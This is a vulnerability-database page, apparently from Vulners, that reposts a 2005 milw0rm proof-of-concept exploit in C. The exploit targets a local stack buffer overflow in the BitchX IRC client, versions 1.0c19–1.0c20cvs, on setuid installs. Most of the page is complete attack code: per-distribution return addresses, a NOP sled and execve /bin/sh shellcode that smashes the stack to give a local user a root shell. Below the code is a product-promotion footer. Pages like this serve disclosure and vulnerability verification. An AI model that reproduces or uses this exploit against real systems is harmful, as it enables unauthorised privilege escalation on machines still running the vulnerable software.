Lucene search
K

BitchX <= 1.0c20 Local Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

BitchX Local Buffer Overflow Exploit allowing root access via SS

Code

                                                /* Tested on BitchX-1.0c19 /str0ke */
/*
 * P.o.C Exploit Code for BitchX
 * made for Version (BitchX-1.0c20cvs) -- Date (20020325)
 *
 * (C) 2004. GroundZero Security Research and Software Development
 *           http://www.groundzero-security.com 
 *
 * released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
 *
 * --[ background
 *
 * BitchX contains an local exploitable Buffer Overflow condition.
 * Sometimes it is installed setUID to allow non-root users SSL
 * access for example and therfore it could be used by a mallicious
 * local user, to obtain root access. This code demonstrates the
 * described vulnerability and can be used to verify the bug on
 * your system(s).
 */

#include &#60;stdio.h&#62;

struct {
  char *distro;
  char *version;
  char *bx;
  unsigned int return_add;
  unsigned int buff_size;
} T[] = {
            { &#34;SuSE Linux&#34;,   &#34;8.2&#34;, &#34;BitchX-1.0c20cvs&#34;, 0xbfffff88, 2111 },
            { &#34;Debian Linux&#34;, &#34;3.0&#34;, &#34;BitchX-1.0c19&#34;,    0xbfffff5c, 2090 },
            { &#34;END&#34;,          &#34;&#34;,    &#34;&#34;,                 0,          0    },
        }; 

char shellcode[]=&#34;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&#34;
                 &#34;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&#34;
                 &#34;\x80\xe8\xdc\xff\xff\xff/bin/sh&#34;;

int usage(char *argv)
{
    int i;

    fprintf (stdout, &#34;\nUsage: %s &#60;path+bin&#62;\n&#34;,argv);
    fprintf (stdout, &#34; i.e.: %s /bin/BitchX\n\n&#34;,argv);
    fprintf (stdout, &#34;Available Targets:\n&#34;);
    for(i=0;T[i].distro!=&#34;END&#34;;i++)
    fprintf (stdout, &#34;\t\t\t %i: (%s %s) %s\n&#34;,i,T[i].distro,T[i].version,T[i].bx);

    return(0);
}
     
int main(int argc, char *argv[])
{
    unsigned int i;
    unsigned int t;

    char buffer[3000];
    char *a1     = &#34;sh&#34;;
    char *a2     = &#34;-c&#34;;
    char *env[]  = { &#34;TERM=xterm&#34;, 0 };    
    char *args[] = { a1, a2, buffer, 0};  /* arguments list */

    fprintf (stdout, &#34;\n\n#############################################################\n&#34;);
    fprintf (stdout, &#34;### GroundZero Security Research and Software Development ###\n&#34;);
    fprintf (stdout, &#34;### Linux Local P.o.C Exploit for BitchX                  ###\n&#34;);
    fprintf (stdout, &#34;#############################################################\n\n&#34;);
 
    if(argv[1]==NULL||argv[2]==NULL)
    {
        usage (argv[0]);
        fprintf (stdout, &#34;\n&#34;);
        exit (0);
    }

    if(strlen(argv[1])&#62;255||strlen(argv[2])&#62;255)
    {
        exit (-1); 
    }

    t=atoi(argv[2]); 

    fprintf (stdout, &#34;selected: %s %s %s\n&#34;,T[t].distro,T[t].version,T[t].bx); 
    fprintf (stdout, &#34;using return address: 0x%lx\n&#34;,T[t].return_add);

    for ( i=0; i&#60;T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add;  /* put return address in buffer */
    for ( i=0; i&#60;(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop&#39;s */

    memcpy (buffer+i,shellcode,strlen(shellcode));  /* generate exploit string */

    fprintf (stdout, &#34;Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n&#34;,argv[1]);
    sleep(3);

    if((execve (argv[1],args,env))==-1)  /* execute binary and smash the stack */
    {
        perror(&#34;execve&#34;);
        exit (-1);
    }

    exit (0);
}

// milw0rm.com [2005-04-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation